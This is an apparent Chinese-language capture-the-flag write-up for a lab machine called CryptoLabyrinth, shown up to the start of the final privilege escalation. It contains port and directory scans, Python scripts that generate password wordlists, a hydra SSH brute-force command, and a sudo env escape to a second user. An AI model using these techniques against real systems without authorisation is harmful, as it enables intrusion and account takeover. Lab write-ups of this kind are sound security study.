CryptoLabyrinth

信息搜集

192.168.43.52

端口扫描

┌──(root㉿kali)-[~]
└─# rustscan -a 192.168.43.52        
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.43.52:22
Open 192.168.43.52:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-14 07:12 EDT
Initiating ARP Ping Scan at 07:12
Scanning 192.168.43.52 [1 port]
Completed ARP Ping Scan at 07:12, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:12
Completed Parallel DNS resolution of 1 host. at 07:13, 5.26s elapsed
DNS resolution of 1 IPs took 5.26s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0]
Initiating SYN Stealth Scan at 07:13
Scanning 192.168.43.52 [2 ports]
Discovered open port 80/tcp on 192.168.43.52
Discovered open port 22/tcp on 192.168.43.52
Completed SYN Stealth Scan at 07:13, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.43.52
Host is up, received arp-response (0.00090s latency).
Scanned at 2026-04-14 07:13:00 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:CB:2B:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.45 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

‍

枚举

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.43.52/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,wsp,py,js,phps  --exclude-length 278
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.43.52/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          278
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt,wsp,py,js,phps
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10736]
/hidden               (Status: 301) [Size: 315] [--> http://192.168.43.52/hidden/]
Progress: 1764480 / 1764488 (100.00%)
===============================================================
Finished
===============================================================

‍

在80端口的web页面源码最下面发现了一串字符最后两位不知道

‍

用户名

同时/hidden路由中会发现大量的哈希文件

大部分都是bob的怀疑前面80端口源码中发现的字符串是否是密码

写个py脚本跑一遍密码组合

import itertools
import string

prefix = "2LWxmDsW0"
charset = string.ascii_letters + string.digits  # a-zA-Z0-9

with open("passwd.txt", "w", encoding="utf-8") as f:
    for combo in itertools.product(charset, repeat=2):
        suffix = ''.join(combo)
        password = prefix + suffix
        f.write(password + "\n")

1	hydra -l bob -P passwd.txt 192.168.43.52 ssh -t 64 -Vv

在第1643行出了密码

ssh登录

┌──(root㉿kali)-[/tmp/aaa]
└─# ssh bob@192.168.43.52              
bob@192.168.43.52's password: 
Linux TheHackersLabs-CryptoLabyrinth 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Oct 23 10:50:33 2024 from 192.168.18.65
bob@TheHackersLabs-CryptoLabyrinth:~$ id
uid=1001(bob) gid=1001(bob) grupos=1001(bob),100(users)

‍

提权

bob -> alice

bob@TheHackersLabs-CryptoLabyrinth:~$ sudo -l
Matching Defaults entries for bob on TheHackersLabs-CryptoLabyrinth:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User bob may run the following commands on TheHackersLabs-CryptoLabyrinth:
    (alice) NOPASSWD: /usr/bin/env

alice可以sudo执行env

bob@TheHackersLabs-CryptoLabyrinth:/opt$ sudo -u alice /usr/bin/env /bin/sh -p
$ whoami
alice
$ bash -i
alice@TheHackersLabs-CryptoLabyrinth:/opt$

‍

alice -> root

在历史记录.bash_history中可以看到读取了/mnt/下的.secreto.txt

alice@TheHackersLabs-CryptoLabyrinth:~$ cd /mnt/
alice@TheHackersLabs-CryptoLabyrinth:/mnt$ ls
alice@TheHackersLabs-CryptoLabyrinth:/mnt$ ls -al
total 12
drwxr-xr-x  2 root  root  4096 oct 23  2024 .
drwxr-xr-x 18 root  root  4096 oct 17  2024 ..
-rw-------  1 alice alice   12 oct 21  2024 .secreto.txt
alice@TheHackersLabs-CryptoLabyrinth:/mnt$ cat .secreto.txt 
2LWx*DsW0A*
alice@TheHackersLabs-CryptoLabyrinth:/mnt$

同样还是需要生成密码

import itertools
import string

prefix1 = "2LWx"
prefix2 = "DsW0A"

charset = string.ascii_letters + string.digits  # a-zA-Z0-9

with open("passwd.txt", "w", encoding="utf-8") as f:
    for c1, c2 in itertools.product(charset, repeat=2):
        password = prefix1 + c1 + prefix2 + c2
        f.write(password + "\n")